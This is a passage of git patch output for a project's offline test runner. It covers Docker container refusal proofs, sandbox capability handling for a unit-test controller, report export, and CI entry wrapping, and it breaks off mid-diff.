"packages/ui-server/tests/observation-holds.test.ts":{"sha256":"4f0f6765560d0e4d8eebf77c3ed49984f4521b9d7ec88c224ac25042989eaf33","compatible":true}, + "packages/ui-server/tests/operational-state-boot-admission.test.ts":{"sha256":"8d3bba4d25e40984c2de9c92230ae740bc051349944802f01ca0ace8be5cc029","compatible":true}, "packages/ui-server/tests/operational-state-layout.test.ts":{"sha256":"adb9183842148f85436677a8e42c5dd48a4bf8ebb3b348557c3bd4ce3a74afc3","compatible":true}, + "packages/ui-server/tests/operational-state-precedence.test.ts":{"sha256":"d004f688614718192b449a5c9d1ff9877771028c2650fbd89c7ce917323efd40","compatible":true}, + "packages/ui-server/tests/operational-state-race.test.ts":{"sha256":"baa6914374d298fe1f3f05506f275d762d666806e1e413c5ac101e7d6a7efb7f","compatible":true}, "packages/ui-server/tests/origin-policy.test.ts":{"sha256":"0db403e81fc85248e7f2ba368dcfdf7d9f7678153a5f3b9a770130b9289966a5","compatible":true}, "packages/ui-server/tests/origin-trust.test.ts":{"sha256":"b6f1321c7f3631928adcdc69ea939b6e545dc64868c7a0a8a0cc47a7dcd7942b","compatible":true}, "packages/ui-server/tests/outward-governance.test.ts":{"sha256":"cc10bf273193ed58f77f91d86ff163b851edcbe72c3d0306823cff54920b26d8","compatible":true}, @@ -1426,8 +1429,8 @@ "packages/ui-server/tests/turn-egress.test.ts":{"sha256":"e783821ea4fc2ba4b58a83b310b1fec00af8f84ee20525471e32ec8283ebb894","compatible":true}, "packages/ui-server/tests/turn-failure-notice-digest.test.ts":{"sha256":"5c15357e48e944a2c18a65d1a391bf57c7b5985ddf3e8dd12aa88de4131bd80c","compatible":true}, "packages/ui-server/tests/turn-free-space.test.ts":{"sha256":"acf6eb832b557e8eeca96cb6bc680b5d3f40b378224ba461f6bb522088c4aec7","compatible":true}, - "packages/ui-server/tests/turn-journal.test.ts":{"sha256":"cbc1c973128802ce7a3d269182d5fea6b7fb8b546fdfab49be1ec47e9b7cf9c3","compatible":true}, - "packages/ui-server/tests/turn-lifecycle.test.ts":{"sha256":"fe24967d19bfca58f174aa86b3e652b23db080df434da213af660e6dca5e3339","compatible":true}, + "packages/ui-server/tests/turn-journal.test.ts":{"sha256":"d2cb46e448ba3070b4ad277c79f414f639f726d835c3b1c8227cb0789e500fb0","compatible":true}, + "packages/ui-server/tests/turn-lifecycle.test.ts":{"sha256":"ea02977d78a278349826427904a7e6690835b0027556abfdae4315a1d4ac6c50","compatible":true}, "packages/ui-server/tests/turn-provider-relay.test.ts":{"sha256":"598fe1154ae19a43ade8e2eef88efe1d9c3c299e797c84ba07a6076823c6e390","compatible":true}, "packages/ui-server/tests/turn-revert.test.ts":{"sha256":"d7d83922b968d4d32146ce84eefa449b482edb6ffdf394585ea29e79f997c2ac","compatible":true}, "packages/ui-server/tests/turn-scope-headroom.test.ts":{"sha256":"1bb499d5d81414093aebc3114ff4c27979936f116e7a96db939efd3b33714eca","compatible":true}, @@ -1508,7 +1511,7 @@ "packages/ui-server/tests/ws-turn-budgets.test.ts":{"sha256":"52efdfbe18b5177aecc9d47adfb0bbdbf337c50501f18b211c1e4a240e148000","compatible":true}, "packages/ui-server/tests/ws-turn-failure-replay.test.ts":{"sha256":"c14cecbb82e42b9c09c14223ebf20fb5398fe50ed3b267df7025cde13ba862bc","compatible":true}, "packages/ui-server/tests/ws-turn-id.test.ts":{"sha256":"8cadfaff15059fd152b7a73ab1f3f9456ed3a68ba581900798613639cbb1f669","compatible":true}, - "packages/ui-server/tests/ws-turn-journal.test.ts":{"sha256":"40db951fcb7f9b49826d2a48f6899d410c4bd3ca94c798cd30d9995be4d8ee0a","compatible":true}, + "packages/ui-server/tests/ws-turn-journal.test.ts":{"sha256":"35835ca61c79dcd4b8414c89c4349629dfeba7e0632a044cd8cdd4bf16772213","compatible":true}, "packages/ui-server/tests/ws-turn-temp-promotion.test.ts":{"sha256":"50c801f53246c8ca3d7845b25ea526ae40f6f11a2cfa2f7aff2a58c1e84e6f2e","compatible":true}, "packages/ui-server/tests/ws-web-access.test.ts":{"sha256":"be34b21b8fd2e057116c429b3ec9f082d792fcbe812f9485c63baa13ee36c43b","compatible":true}, "tests/answer-suggestions-targets.test.tsx":{"sha256":"bc7f9a26aaa1e178d42e78f045006371e4c67c73e2ee430cf01c1792db0f2eae","compatible":true}, From c5d250bb63aa2ab9796bccb2198f0321c2d242fa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:15:30 +0000 Subject: [PATCH 151/187] test: close test entry gaps and prove container refusal controls --- scripts/ci-runner.ts | 11 ++++- scripts/offline-runner/container-proof.mjs | 54 ++++++++++++++++++++++ scripts/offline-runner/proof.py | 13 ++++++ scripts/offline-runner/rootless-files.json | 3 +- scripts/test-determinism.ts | 10 ++-- scripts/test-network-guard.ts | 7 ++- tests/test-determinism.test.ts | 3 +- 7 files changed, 92 insertions(+), 9 deletions(-) create mode 100644 scripts/offline-runner/container-proof.mjs diff --git a/scripts/ci-runner.ts b/scripts/ci-runner.ts index ca49259f90..dcb7a6dc31 100644 --- a/scripts/ci-runner.ts +++ b/scripts/ci-runner.ts @@ -1,5 +1,5 @@ /** Concurrent independent checks, with child cleanup on failure/cancellation. */ -import { appendFileSync, writeFileSync } from "node:fs"; +import { appendFileSync, existsSync, writeFileSync } from "node:fs"; import { dirname, join, resolve } from "node:path"; import type { CheckPlan } from "./ci-plan"; import { balanceTests } from "./test-shards"; @@ -82,7 +82,14 @@ export async function runCommands(commands: readonly Command[], cwd: string, con console.log(probe.exitCode === 0 && output.startsWith("BRAIN_COMPILER_RUNTIME {") ? output : "BRAIN_COMPILER_RUNTIME unavailable"); } catch { console.log("BRAIN_COMPILER_RUNTIME unavailable"); } } - const child = Bun.spawn(command.argv, { cwd, detached: process.platform !== "win32", stdio: ["ignore", "inherit", "inherit"], env }); + // Test entry must precede Bun startup, including checkout .env and + // preload discovery. Build and acquisition retain their outer outputs. + const testScripts = new Set(["unit-workers.ts", "test-determinism.ts", "browser-determinism.ts", "prove-native-host.ts", "prove-worker-identity.ts", "prove-reference-pool.ts"]); + const bunCommand = command.argv[0] === process.execPath; + const argument = command.argv[1] ?? ""; + const testEntry = bunCommand && (argument === "test" || (argument === "run" && /^(?:test(?::|$)|capture:verify$)/.test(command.argv[2] ?? "")) || testScripts.has(argument.split("/").at(-1)!)); + const argv = testEntry ? [(existsSync("/run/brain-test/entry") ? "/run/brain-test/entry" : new URL("../.test-tools/entry", import.meta.url).pathname), ...command.argv] : command.argv; + const child = Bun.spawn(argv, { cwd, detached: process.platform !== "win32", stdio: ["ignore", "inherit", "inherit"], env }); children.push(child); command.started?.(); let timedOut = false, force: ReturnType | undefined; diff --git a/scripts/offline-runner/container-proof.mjs b/scripts/offline-runner/container-proof.mjs new file mode 100644 index 0000000000..491f984670 --- /dev/null +++ b/scripts/offline-runner/container-proof.mjs @@ -0,0 +1,54 @@ +/** Outer fixture only: Docker stays outside the admitted runner. */ +import {spawnSync} from 'node:child_process'; +import {readFileSync,writeFileSync} from 'node:fs'; +import {prepareOfflineContainer} from './container.mjs'; +if(process.argv.includes('--mutations')){ + const path=new URL('./container.mjs',import.meta.url);const original=readFileSync(path,'utf8'); + const mutations=[ + ['F7_SKIP_PULL_CHECK',"if(!argv.includes('--pull=never'))",'if(false)','F7_PULL_POLICY_IS_INDEPENDENT'], + ['F7_SKIP_NETWORK_CHECK',"network?.NetworkMode!=='none'",'false','F7_ACTUAL_NETWORK_IS_INDEPENDENT'], + ['R6_SKIP_IPC_CHECK',"network.IpcMode==='host'",'false','R6_ACTUAL_PRIVATE_IPC_REQUIRED'], + ]; + try{ + for(const [name,before,after,assertion] of mutations){ + if(!original.includes(before))throw Error('MUTATION_SOURCE_MISSING_'+name); + let changed=original.replace(before,after); + if(name==='F7_SKIP_NETWORK_CHECK')changed=changed.replace("Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none')",'false'); + writeFileSync(path,changed); + const broken=spawnSync(process.execPath,['--no-env-file',new URL(import.meta.url).pathname],{encoding:'utf8'}); + if(broken.status===0||!(broken.stdout+broken.stderr).includes(assertion))throw Error('MUTATION_NAMED_FAILURE_REQUIRED_'+name+': '+broken.stderr); + writeFileSync(path,original); + const restored=spawnSync(process.execPath,['--no-env-file',new URL(import.meta.url).pathname],{encoding:'utf8'}); + if(restored.status!==0)throw Error('RESTORED_PROOF_REQUIRED_'+name+': '+restored.stderr); + console.log(JSON.stringify({mutation:name,assertion,result:'named failure',restored:'pass'})); + } + }finally{writeFileSync(path,original);} + process.exit(0); +} +const image='brain-kit-native-runtime:1'; +const assert=(value,name)=>{if(!value)throw Error(name);}; +const base=['docker','run','--rm','--pull=never','--network=none','--ipc=private','--entrypoint=/usr/bin/true',image]; +const boundary=prepareOfflineContainer(base); +try{ + const result=spawnSync(boundary.argv[0],boundary.argv.slice(1),{encoding:'utf8'}); + assert(result.status===0,'F7_QUALIFIED_CONTAINER_EXECUTES'); +}finally{boundary.dispose();} +for(const [name,argv,reason] of [ + ['F7_PULL_POLICY_IS_INDEPENDENT',base.filter(word=>word!=='--pull=never'),'OFFLINE_CONTAINER_PULL_NEVER_REQUIRED'], + ['F7_ACTUAL_NETWORK_IS_INDEPENDENT',base.map(word=>word==='--network=none'?'--network=bridge':word),'OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'], + ['R6_ACTUAL_PRIVATE_IPC_REQUIRED',base.map(word=>word==='--ipc=private'?'--ipc=host':word),'OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'], +]){ + let refusal;let accidental; + try{accidental=prepareOfflineContainer(argv);}catch(error){refusal=error;} + finally{accidental?.dispose();} + assert(refusal?.message===reason,name); + console.log(JSON.stringify({proof:name,result:'pass',reason})); +} +const absent=base.map(word=>word===image?'brain-kit-offline-deliberately-absent:missing':word); +let failure; +try{const unexpected=prepareOfflineContainer(absent);unexpected.dispose();}catch(error){failure=error;} +assert(failure?.message==='Offline test container operation failed','F7_MISSING_IMAGE_REFUSES_LOCALLY'); +// Docker's pull-never is independently checked above and is still present on +// this real missing-image operation; no registry acquisition is permitted. +assert(absent.includes('--pull=never'),'F7_MISSING_IMAGE_NEVER_PULLS'); +console.log(JSON.stringify({proof:'F7_MISSING_IMAGE_REFUSES_LOCALLY',result:'pass'})); diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index 5024a92eaf..7eb9777035 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -349,6 +349,15 @@ def changed_mount_control(): if child.poll() is None:child.kill();child.communicate() +def failed_payload_cleanup_control(): + result=subprocess.run([str(ENTRY),'/odysseus-deliberately-missing-executable'],capture_output=True,text=True) + rows=[json.loads(line) for line in result.stderr.splitlines() if line.startswith('{')] + refusals=[row for row in rows if row.get('kind')=='offline-runner-refusal'] + named(result.returncode==125,'FAILED_PAYLOAD_REFUSES') + named(len(refusals)==1 and refusals[0].get('stage')=='final-entry' and refusals[0].get('errno')==2,'FAILED_INIT_DOES_NOT_CLEAN_UP_PARENT_RESOURCES') + print(json.dumps({'proof':'FAILED_INIT_DOES_NOT_CLEAN_UP_PARENT_RESOURCES','result':'pass'}),flush=True) + + def review_mutations(): import sys runner=ROOT/'scripts/offline-runner/runner.py' @@ -369,6 +378,9 @@ def review_mutations(): named(result.returncode!=0 and assertion in result.stdout+result.stderr,'MUTATION_MUST_FAIL_NAMED_ASSERTION_'+name+': '+(result.stdout+result.stderr)[-1500:]) print(json.dumps({'mutation':name,'result':'named assertion failed','assertion':assertion,'exitCode':result.returncode}),flush=True) path.write_bytes(original[path]) + restored=subprocess.run(['/usr/bin/python3','-I','-S','-c',body],capture_output=True,text=True,timeout=180) + named(restored.returncode==0,'RESTORED_PROOF_MUST_PASS_'+name+': '+(restored.stdout+restored.stderr)[-1500:]) + print(json.dumps({'mutation':name,'restored':'pass','exitCode':restored.returncode}),flush=True) finally: for path,data in original.items():path.write_bytes(data) @@ -383,6 +395,7 @@ def review_mutations(): review_mutations();raise SystemExit(0) loader_and_denied_startup() descriptor_controls() + failed_payload_cleanup_control() run_case(False) run_case(True) managed_settings_controls() diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index b510fa9865..b3cebd68d8 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1651,6 +1651,7 @@ "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, "tests/offline-runner.test.ts":{"sha256":"823a995121f6515242c7a2fb4376b6210028c2a1dc252ad6a8aa8ee013b13920","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, + "tests/offline-unit-identity.test.ts":{"sha256":"da20ce8182c8e2a95e3f2431315a10c89bb0f6d620d2ba702a6e2e227ed3fd28","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, "tests/owned-loop-evidence.test.ts":{"sha256":"b15f2ddabbb52d9b5c2d94bc21529cc32df79f5ce30d7d498a2e667a6aedd348","compatible":true}, "tests/owned-remove.test.ts":{"sha256":"7a911ef3850bdbba1b4a100dc2ce947aa1e8ee2db11fe450887452239572389f","compatible":false}, @@ -1700,7 +1701,7 @@ "tests/template-eval.test.ts":{"sha256":"60704df4a04ed10d4e7eb3b3adda737b2c5455bc5656860ae1ea0c392c24d8b0","compatible":true}, "tests/template-leftovers.test.ts":{"sha256":"21dffceeea3f80a32198a501189c5d7607614afbe397025b4a3cb3dae6769a9f","compatible":true}, "tests/test-deadlines.test.ts":{"sha256":"f254db058792f472b1d52009920b2b03c82ef87d26bc049b2b2e520be0f4db77","compatible":true}, - "tests/test-determinism.test.ts":{"sha256":"8505595497623217187d626820fc535d0635feacb4174bee0dfdf382edb01e9a","compatible":true}, + "tests/test-determinism.test.ts":{"sha256":"54db50d4b2afe3ab8d19e27d2cc61a7b393ac4108c90feac66f6b563dd9ace1d","compatible":true}, "tests/test-git-maintenance.test.ts":{"sha256":"e9e452701ac651e53904947f0724cf2c2d54966df5390c477a1d518d17acffef","compatible":true}, "tests/test-home.test.ts":{"sha256":"00d9f1744166488f4c9bcc4c2979fbb625b659143311135d20e5280bbcbb8095","compatible":true}, "tests/test-invocation-child.test.ts":{"sha256":"a40863f1af20c72f084869df5b89a0862003498d67383e15ecc0d923da19b8bb","compatible":true}, diff --git a/scripts/test-determinism.ts b/scripts/test-determinism.ts index cec2bab29c..abc047f724 100644 --- a/scripts/test-determinism.ts +++ b/scripts/test-determinism.ts @@ -39,7 +39,7 @@ * Policy: docs/decisions/ci-utility.md, "Changed tests repeat under load before merge" * and "Test watchdogs are a worst-case catch-all". */ -import { appendFileSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { appendFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { availableParallelism, constants } from "node:os"; import { dirname, join, resolve } from "node:path"; import { changedFiles, determinismTests } from "./ci-plan"; @@ -48,6 +48,7 @@ import { planRepetitions, type RepetitionPlan } from "./determinism-plan"; import { DETERMINISM_PARTITIONS } from "./proof-shards"; import { DEADLINE_FACTOR_ENV, parseDeadlineFactor } from "./test-deadlines"; import { discoverTests } from "./test-shards"; +import { spawnEntry } from "./offline-runner/pipes"; export { BUDGET_SECONDS, DEFAULT_REPETITIONS, FLOOR_REPETITIONS, planRepetitions, repetitionsFor, type FileRepetitions, type RepetitionPlan } from "./determinism-plan"; @@ -147,7 +148,7 @@ export function startBurners(count: number, lifetimeMs = BURNER_LIFETIME_MS): Bu } }; try { - for (let index = 0; index < count; index++) children.push(Bun.spawn([process.execPath, "-e", burnerSource(process.pid, lifetimeMs)], + for (let index = 0; index < count; index++) children.push(Bun.spawn([process.execPath, "--no-env-file", "-e", burnerSource(process.pid, lifetimeMs)], { stdin: "ignore", stdout: "ignore", stderr: "ignore" })); } catch (error) { stop(); throw error; } return { pids: children.map(child => child.pid), stop }; @@ -218,8 +219,9 @@ export async function runDeterminism(options: RunOptions): Promise { log(`CPU burners started (PIDs ${burners.pids.join(", ")}).`); if (!cancelled) { // The factor is always named, so a run asked for one never inherits another run's. - child = Bun.spawn(repetitionArgv(files, plan.repetitions, factor > 1 ? { capMs: deadlines.testCapMs, preload: join(root, DEADLINE_PRELOAD) } : undefined), - { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", env: { ...process.env, ...options.env, [DEADLINE_FACTOR_ENV]: String(factor) } }); + const argv = repetitionArgv(files, plan.repetitions, factor > 1 ? { capMs: deadlines.testCapMs, preload: join(root, DEADLINE_PRELOAD) } : undefined); + child = spawnEntry(Bun.spawn, Bun, false, [(existsSync("/run/brain-test/entry") ? "/run/brain-test/entry" : new URL("../.test-tools/entry", import.meta.url).pathname), ...argv], + { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", env: { ...process.env, ...options.env, [DEADLINE_FACTOR_ENV]: String(factor) } }) as ReturnType; const decoder = new TextDecoder(); const read = async (stream: ReadableStream, channel: "stdout" | "stderr") => { for await (const chunk of stream) { diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 9a8468f7cb..0c0748ee3e 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -14,7 +14,12 @@ let installed: { assertNoEscapes(): void } | undefined; /** Test-owned repositories must not acquire detached writers behind a fixture. */ function testGitEnvironment(input: Record): Record { const env={...input}; - for(const key of Object.keys(env))if(/^(?:LD_|DYLD_|PYTHON)|^(?:NODE_OPTIONS|BUN_OPTIONS|BASH_ENV|ENV)$/.test(key))delete env[key]; + for(const key of Object.keys(env)){ + // A fixture compiler may set a memory limit; this sole Node option cannot + // load code. Loader hooks remain excluded. Outer bootstrap scrubs all. + if(key === "NODE_OPTIONS" && /^--max-old-space-size=[1-9]\d*$/.test(env[key] ?? ""))continue; + if(/^(?:LD_|DYLD_|PYTHON)|^(?:NODE_OPTIONS|BUN_OPTIONS|BASH_ENV|ENV)$/.test(key))delete env[key]; + } const count = Number(env.GIT_CONFIG_COUNT ?? 0); if (!Number.isSafeInteger(count) || count < 0 || count > 2_147_483_645) { throw new Error("Test Git environment requires a valid GIT_CONFIG_COUNT"); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 44605cac53..5ab037d9b0 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -18,6 +18,7 @@ const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; @@ -348,7 +349,7 @@ function sh(dir: string, ...argv: string[]): string { function checkout(weights: Record = {}, capMs = 30_000) { const dir = mkdtempSync(join(tmpdir(), "test-determinism-")); scratch.push(dir); const write = (path: string, text: string) => { mkdirSync(dirname(join(dir, path)), { recursive: true }); writeFileSync(join(dir, path), text); }; - for (const script of SCRIPTS) cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); + for (const script of SCRIPTS) { mkdirSync(dirname(join(dir, "scripts", script)), { recursive: true }); cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } // The planner's selection and diff, unchanged; its other imports stay in this repository. write("scripts/ci-plan.ts", `export * from ${JSON.stringify(join(ROOT, "scripts/ci-plan.ts"))};\n`); write("scripts/test-shard-costs.json", JSON.stringify(weights)); From dc3a7d94fdcdbfc1451cf0463f94c6cc5984ba50 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:15:48 +0000 Subject: [PATCH 152/187] test: run unit queues in the offline view with real UID maps --- scripts/offline-runner/runner.py | 107 +++++++++++++++++++++++++--- scripts/unit-workers.ts | 27 ++++++- tests/offline-unit-identity.test.ts | 17 +++++ 3 files changed, 138 insertions(+), 13 deletions(-) create mode 100644 tests/offline-unit-identity.test.ts diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 7cf4a085c6..22ccace443 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -133,6 +133,23 @@ def mount_hash(): return hashlib.sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() +def unit_controller(): + return len(COMMAND)>1 and COMMAND[0] in ("bun",str(BUN)) and pathlib.Path(COMMAND[1]).resolve()==TOOL_ROOT/"scripts/unit-workers.ts" + + +def keep_mount_setup(): + # Closed fixture controller only. Its children enter fresh mount views, + # then discard this capability before any build/test module executes. + class Header(ctypes.Structure): + _fields_=[("version",ctypes.c_uint),("pid",ctypes.c_int)] + class Data(ctypes.Structure): + _fields_=[("effective",ctypes.c_uint),("permitted",ctypes.c_uint),("inheritable",ctypes.c_uint)] + if os.getuid()==0: syscall(LIBC.prctl(28,3,0,0,0),'fixture root exec capabilities') + bit=1<<21 + syscall(LIBC.capset(ctypes.byref(Header(0x20080522,0)),(Data*2)(Data(bit,bit,bit),Data())),"fixture mount capability") + syscall(LIBC.prctl(47,2,21,0,0),"fixture ambient mount capability") + + def drop_capabilities(): class Header(ctypes.Structure): _fields_ = [('version', ctypes.c_uint), ('pid', ctypes.c_int)] @@ -255,13 +272,17 @@ def finish_view(backing, prepared, caller, profile, before): mount('proc', view / 'proc', 'proc', MS_NOSUID | MS_NODEV) target = view / str(ROOT).lstrip('/') target.parent.mkdir(parents=True, exist_ok=True) + os.chown(target.parent,caller['uid'],caller['gid']) + os.chmod(target.parent,0o700) bind(prepared, target, readonly=False) setup_source = pathlib.Path(__file__).resolve() setup_target = view / str(TOOL_ROOT / 'scripts/offline-runner/runner.py').lstrip('/') if not setup_target.exists(): setup_target.parent.mkdir(parents=True, exist_ok=True) shutil.copyfile(setup_source, setup_target) - bind(setup_target, setup_target) + # Setup code remains immutable even when already present in the copied + # checkout; nested entries must never execute a rewritten issuer. + bind(setup_target, setup_target) entry_source = TOOL_ROOT / '.test-tools/entry' shutil.copyfile(entry_source, view / 'run/brain-test/entry') os.chmod(view / 'run/brain-test/entry', 0o555) @@ -271,6 +292,15 @@ def finish_view(backing, prepared, caller, profile, before): # Real Bun may live outside /usr; pin just its regular executable, not HOME. if not str(BUN).startswith('/usr/'): bind(BUN, view / str(BUN).lstrip('/')) + if unit_controller(): + for argument in COMMAND[2:]: + if argument.startswith('--reports='): + requested=pathlib.Path(argument.split('=',1)[1]) + destination=requested if requested.is_absolute() else ROOT/requested + if not destination.is_relative_to(ROOT): + report_source=pathlib.Path(backing)/'reports';report_source.mkdir(mode=0o700) + os.chown(report_source,caller['uid'],caller['gid']) + bind(report_source,view/str(destination).lstrip('/'),readonly=False) home = view / 'home/odysseus' os.chown(home, caller['uid'], caller['gid']) os.chmod(view / 'tmp', 0o1777) @@ -320,28 +350,76 @@ def finish_view(backing, prepared, caller, profile, before): # original fd can write the record; it closes before the runner starts. bind(record_file, record_file) bind('/run/brain-test','/run/brain-test') + controller=unit_controller() and profile=='root' + if controller: + for name in ('unit-workers.ts','unit-prepared-tree.ts','unit-worker-entry.sh'): + fixed=ROOT/'scripts'/name + bind(fixed,fixed) record['mountHash'] = mount_hash() evidence.write(json.dumps(record)) evidence.flush() os.fsync(evidence.fileno()) evidence.close() - # A file capability cannot restore mount authority in this admitted view. - syscall(LIBC.prctl(24,21,0,0,0),'drop mount capability bounding') + controller=unit_controller() and profile=='root' + if not controller: + # Ordinary runners cannot restore mount authority in this view. + syscall(LIBC.prctl(24,21,0,0,0),'drop mount capability bounding') + if controller: syscall(LIBC.prctl(8,1,0,0,0),'fixture keep capabilities across uid drop') if profile == 'root': os.setgroups(caller['groups']) os.setgid(caller['gid']) os.setuid(caller['uid']) - drop_capabilities() + if controller: keep_mount_setup() + else: drop_capabilities() if (os.getuid(), os.getgid(), os.getgroups()) != (caller['uid'], caller['gid'], caller['groups']): raise OSError(errno.EPERM, 'final identity differs') if READINESS_FD is not None: os.write(READINESS_FD,b'qualified\n');os.close(READINESS_FD) os.umask(caller['umask']) - print(json.dumps({'kind':'offline-runner-qualified','success':True,'profile':profile,'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups(),'namespaces':current}),file=sys.stderr,flush=True) + print(json.dumps({'kind':'offline-unit-controller' if controller else 'offline-runner-qualified','success':True,'profile':profile,'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups(),'namespaces':current}),file=sys.stderr,flush=True) # Finalized mount fingerprint includes the record bind itself. return record + +def export_unit_reports(prepared, caller): + if not unit_controller(): return + source=prepared/'tmp' + destination=ROOT/'tmp' + for argument in COMMAND[2:]: + if argument.startswith('--reports='): + requested=pathlib.Path(argument.split('=',1)[1]) + destination=requested if requested.is_absolute() else ROOT/requested + # The same absolute path was private in the runner view. + source=prepared/destination.relative_to(ROOT) if destination.is_relative_to(ROOT) else prepared.parent/'reports' + if not source.exists(): return + pid=os.fork() + if pid==0: + try: + if os.geteuid()==0: + os.setgroups(caller['groups']);os.setgid(caller['gid']);os.setuid(caller['uid']) + def copy(src,dst): + info=src.lstat() + if stat.S_ISLNK(info.st_mode) or not (stat.S_ISDIR(info.st_mode) or stat.S_ISREG(info.st_mode)): + raise OSError(errno.EPERM,'nonregular unit report') + if dst.is_symlink():raise OSError(errno.EPERM,'linked unit report destination') + if stat.S_ISDIR(info.st_mode): + dst.mkdir(mode=0o700,parents=True,exist_ok=True) + for child in src.iterdir():copy(child,dst/child.name) + else: + dst.parent.mkdir(mode=0o700,parents=True,exist_ok=True) + output=os.open(dst,os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOFOLLOW,0o600) + with os.fdopen(output,'wb') as stream,src.open('rb') as incoming:shutil.copyfileobj(incoming,stream) + for item in source.iterdir(): + if item.name.startswith('unit-'):copy(item,destination/item.name) + os._exit(0) + except BaseException as error: + print(json.dumps({'kind':'offline-unit-report-refusal','error':type(error).__name__,'errno':getattr(error,'errno',None)}),file=sys.stderr,flush=True) + os._exit(125) + _,status=os.waitpid(pid,0) + if status:raise OSError(errno.EIO,'unit report export') + + def run(caller, profile): global QUALIFIER_SOCKET service_pid = None @@ -365,10 +443,11 @@ def run(caller, profile): backing = tempfile.mkdtemp(prefix='odysseus-offline-') # Input copies live on a private backing mount. No host pathname can add # a socket to the writable tree after the initial copy. - mount('tmpfs', backing, 'tmpfs', MS_NOSUID, 'mode=0755') + mount('tmpfs', backing, 'tmpfs', MS_NOSUID, 'mode=0755,size=80%') try: prepared = pathlib.Path(backing) / 'source' - os.chmod(backing, 0o755) + os.chown(backing, caller['uid'], caller['gid']) + os.chmod(backing, 0o700) prepared.mkdir() os.chown(prepared, caller['uid'], caller['gid']) capturer = os.fork() @@ -414,18 +493,25 @@ def run(caller, profile): os.setsid() syscall(LIBC.prctl(1, signal.SIGKILL, 0, 0, 0), 'payload parent tie') if os.getppid() != 1: os._exit(125) + if unit_controller() and profile=='root': + os.execvpe(str(BUN),[str(BUN),'--no-env-file',*command[1:]],os.environ) execute(command) def signal_payload(sig, _frame): try: os.killpg(payload, sig) except ProcessLookupError: pass for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): signal.signal(sig, signal_payload) - _, result = os.waitpid(payload, 0) + while True: + reaped, result = os.waitpid(-1, 0) + if reaped == payload: break # PID 1 reaps its descendants; its exit kills anything still # owned by this private PID namespace, closing all pipes. os._exit(os.waitstatus_to_exitcode(result) if os.WIFEXITED(result) else 128 + os.WTERMSIG(result)) except BaseException as error: - refusal('final-entry', error) + # The forked init does not own its parent's qualifier/holder + # cleanup. Exit here rather than unwinding their finally blocks. + try: refusal('final-entry', error) + finally: os._exit(125) os.close(setup_fd) controller.sendall(json.dumps({'pid':child,'start':start(child)}).encode());controller.close() def forward(sig, _frame): @@ -436,6 +522,7 @@ def forward(sig, _frame): for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): signal.signal(sig, forward) _, status = os.waitpid(child, 0) + export_unit_reports(prepared,caller) return os.waitstatus_to_exitcode(status) finally: if service_pid is not None: @@ -459,7 +546,7 @@ def forward(sig, _frame): if requested not in (expected,expected+['--mutations']): refusal('unknown fixture control') OUTER, COMMAND = requested, ['/usr/bin/true'] else: - outer_files = {'ci-proof.ts','unit-workers.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} + outer_files = {'ci-proof.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} if len(COMMAND)>1 and pathlib.Path(COMMAND[1]).resolve().parent == TOOL_ROOT / 'scripts' and pathlib.Path(COMMAND[1]).name in outer_files: OUTER, COMMAND = COMMAND, ['/usr/bin/true'] elif len(COMMAND)>2 and COMMAND[1]=='run' and COMMAND[2] in {'test:browser','test:layout','test:endurance','visual','visual:update','check:pr','captures'}: diff --git a/scripts/unit-workers.ts b/scripts/unit-workers.ts index a417d3a1ab..6c784e4b4f 100644 --- a/scripts/unit-workers.ts +++ 